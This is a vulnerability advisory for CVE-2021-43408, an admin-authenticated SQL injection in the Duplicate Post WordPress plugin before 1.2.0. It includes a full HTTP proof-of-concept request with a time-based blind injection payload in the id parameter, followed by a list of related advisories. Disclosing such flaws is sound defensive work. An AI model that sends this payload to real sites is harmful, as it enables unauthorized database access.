Duplicate Post < 1.2.0 – Authenticated SQL Injection | CVE 2021-43408 | Plugin Vulnerabilities

Description

The plugin does not properly sanitise and escape the id parameter passed to the cdp_action_handling AJAX action, which could allow user having access to the plugin (by default admins) to perform SQL Injection attacks

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Length: 229
Accept: */*
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_3d2361ff3a8f0d..(truncated)
Connection: close

action=cdp_action_handling&token=cdp&f=copy_post&origin=tooltip&id%5B%5D=1%20and%20(select*from(select(sleep(9)))a)--%20&data%5Btype%5D=copy-quick&data%5Btimes%5D=1&data%5Bsite%5D=-1&data%5Bprofile%5D=default&data%5Bswap%5D=false

Affects Plugins

copy-delete-posts

Fixed in 1.2.0

References

CVE

URL

https://appcheck-ng.com/security-advisory-duplicate-post-wordpress-plugin-sql-injection-vulnerability/

Classification

Type

SQLI

OWASP top 10

CWE

CVSS

Miscellaneous

Verified

Yes

WPVDB ID

d2b0a86b-3964-47ed-89b3-7350b4395b4b

Timeline

Publicly Published

2021-10-25 (about 4 years ago)

Added

2021-10-25 (about 4 years ago)

Last Updated

2022-04-13 (about 3 years ago)

Other

Published

Title

Published

2024-09-13

Title

Backuply – Backup, Restore, Migrate and Clone < 1.3.5 - Authenticated (Admin+) SQL Injection

Published

2024-11-04

Title

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Published

2015-12-15

Title

WP Polls < 2.72 - SQL Injection

Published

2016-12-12

Title

WP Private Messages 1.0.1 – Authenticated SQL Injection

Published

2024-10-21

Title

WP Sessions Time Monitoring Full Automatic < 1.1.0 - Unauthenticated SQL Injection